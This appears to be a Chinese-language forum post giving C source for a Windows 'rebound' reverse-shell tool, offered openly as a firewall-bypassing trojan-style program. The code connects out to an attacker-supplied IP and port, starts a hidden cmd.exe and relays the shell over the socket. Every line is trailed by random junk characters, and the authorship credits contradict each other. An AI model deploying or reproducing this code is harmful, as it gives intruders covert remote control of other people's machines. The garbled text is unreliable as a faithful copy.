这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^BRqsVw9
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/* ============================== 42tZBz&
Rebound port in Windows NT vqQ)Pu?T
By wind,2006/7 :[(%4se
===============================*/ v0! 1W
#include \}W3\To_
#include T?d}IDv1
#_aq@)Fd
#pragma comment(lib,"wsock32.lib") U{Oo@ztT
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void OutputShell(); 7NWkN7:B
SOCKET sClient; _F`JFMS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [kqtkgK$j2
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void main(int argc,char **argv) <;W-!R759
{ DCZG'eb
WSADATA stWsaData;
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int nRet; m%[/w wL
SOCKADDR_IN stSaiClient,stSaiServer; AkW>*x
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if(argc != 3) WjK[% ;Z!
{ ok:L]8UN3
printf("Useage:\n\rRebound DestIP DestPort\n"); B0)|sH
return; EirZ}fDJzB
} #}@8(>T
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WSAStartup(MAKEWORD(2,2),&stWsaData); tu$rVwgM
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "+7E9m6I
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stSaiClient.sin_family = AF_INET; r,Xyb`
stSaiClient.sin_port = htons(0); XMkRYI1~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ){#INmsF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ |te=DCO
printf("Bind Socket Failed!\n"); UjoA$A!Od;
return; (BxmV1
} w:deQ:k
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stSaiServer.sin_family = AF_INET; D84&=EpVZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q4LPi;{\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); YG8C<g6E7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [:gg3Qzx
{ *P7/ry^<F
printf("Connect Error!"); siCm)B
return; W!O/t^H>
} bQq/~
OutputShell(); Kx)PK
} LS9,:!$
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void OutputShell() R6fkc^
{ Nj2l>[L;
char szBuff[1024]; \n,L600`q
SECURITY_ATTRIBUTES stSecurityAttributes; 0k16f3uI
OSVERSIONINFO stOsversionInfo; *<67h*|)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r5nHYV&7
STARTUPINFO stStartupInfo; gYrB@W;2
char *szShell; FNF `Z
PROCESS_INFORMATION stProcessInformation; #>)z}a]
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]4[%Sv6]G
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `JiWS
stSecurityAttributes.lpSecurityDescriptor = 0; =Hd#"9-
stSecurityAttributes.bInheritHandle = TRUE; ^JMG'@x
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d^6-P
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X-<,zRM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4XER7c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1?|"33\03R
stStartupInfo.wShowWindow = SW_HIDE; u=v-,Tw
stStartupInfo.hStdInput = hReadPipe; >FOCdlJ#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ot\[Ya''
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GetVersionEx(&stOsversionInfo); [Z:P{yr
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switch(stOsversionInfo.dwPlatformId) u1y>7,Z6W
{ 8/tB?j
case 1: *aM7d>nG5
szShell = "command.com"; Zv9JkY=+@
break; 0%L:jq{5
default: @M<qz\
[
szShell = "cmd.exe"; =6:9y}~
break; Ym\<@[3+!
} !\1)?&y9j
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;
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &a=rJvnIO&
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send(sClient,szMsg,77,0); j?|Vx'
while(1) w8Z#]kRv
{ 4Ps;Cor+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WLj]EsA.
if(lBytesRead) 71AYDO
{ !<~.>5UQ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }`QZV_
send(sClient,szBuff,lBytesRead,0); KyVzf(^
} BRY/[QRqZ
else `|AH3v1
{ tR<#CCtRp'
lBytesRead=recv(sClient,szBuff,1024,0); 0vSPeZ
if(lBytesRead<=0) break; }1k?t h
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *Us}E7/"'
} L(Twclrb
} {vW0O &[
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return; 8VQ!&^9!U#
}